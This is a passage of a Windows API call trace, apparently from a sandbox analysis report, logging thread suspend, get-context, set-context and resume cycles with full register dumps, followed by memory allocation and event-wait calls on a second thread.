[172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0296.992] ResumeThread (hThread=0x10c) returned 0x1 [0296.992] CloseHandle (hObject=0x10c) returned 1 [0296.992] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0297.036] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0297.469] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0297.693] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0297.979] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x279ef7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x279ef7f8*=0x10c) returned 1 [0297.979] SuspendThread (hThread=0x10c) returned 0x0 [0297.979] GetThreadContext (in: hThread=0x10c, lpContext=0x279ef830 | out: lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00013fcd0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xeedffc, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0298.100] SetThreadContext (hThread=0x10c, lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00013fcc8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xea4720, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0298.410] ResumeThread (hThread=0x10c) returned 0x1 [0298.410] CloseHandle (hObject=0x10c) returned 1 [0298.410] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0298.545] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0298.694] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0298.926] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0299.227] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x279ef7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x279ef7f8*=0x10c) returned 1 [0299.227] SuspendThread (hThread=0x10c) returned 0x0 [0299.227] GetThreadContext (in: hThread=0x10c, lpContext=0x279ef830 | out: lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00013f938, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xef9005, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0299.352] SetThreadContext (hThread=0x10c, lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00013f930, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xea4720, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0299.490] ResumeThread (hThread=0x10c) returned 0x1 [0299.490] CloseHandle (hObject=0x10c) returned 1 [0299.490] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0299.613] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0299.893] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0300.102] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x279ef7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x279ef7f8*=0x10c) returned 1 [0300.102] SuspendThread (hThread=0x10c) returned 0x0 [0300.102] GetThreadContext (hThread=0x10c, lpContext=0x279ef830) Thread: id = 163 os_tid = 0x1368 [0241.182] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27befda0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27befda0*=0xd0) returned 1 [0241.182] VirtualQuery (in: lpAddress=0x27befdc0, lpBuffer=0x27befdc0, dwLength=0x30 | out: lpBuffer=0x27befdc0*(BaseAddress=0x27bef000, AllocationBase=0x279f0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0xffff9a84)) returned 0x30 [0241.192] SetEvent (hEvent=0xc8) returned 1 [0241.192] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xd4 [0241.192] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xd8 [0241.192] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0 [0243.732] SwitchToThread () returned 1 [0244.705] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0x620000 [0244.706] VirtualAlloc (lpAddress=0xc000080000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000080000 [0244.706] VirtualAlloc (lpAddress=0xc000082000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000082000 [0244.709] VirtualAlloc (lpAddress=0xc000084000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000084000 [0244.709] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xea4da0, lpParameter=0xc000080000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdc [0244.709] CloseHandle (hObject=0xdc) returned 1 [0244.717] SetEvent (hEvent=0xc8) returned 1 [0244.717] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0 [0245.994] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0 [0248.273] SetEvent (hEvent=0xc8) returned 1 [0248.273] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0 [0253.589] SwitchToThread () returned 1 [0253.768] SetEvent (hEvent=0xc8) returned 1 [0253.768] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0 [0257.998] SetEvent (hEvent=0xc8) returned 1 [0257.998] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0 [0259.691] SetEvent (hEvent=0xc8) returned 1 [0259.691] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0 [0261.553] 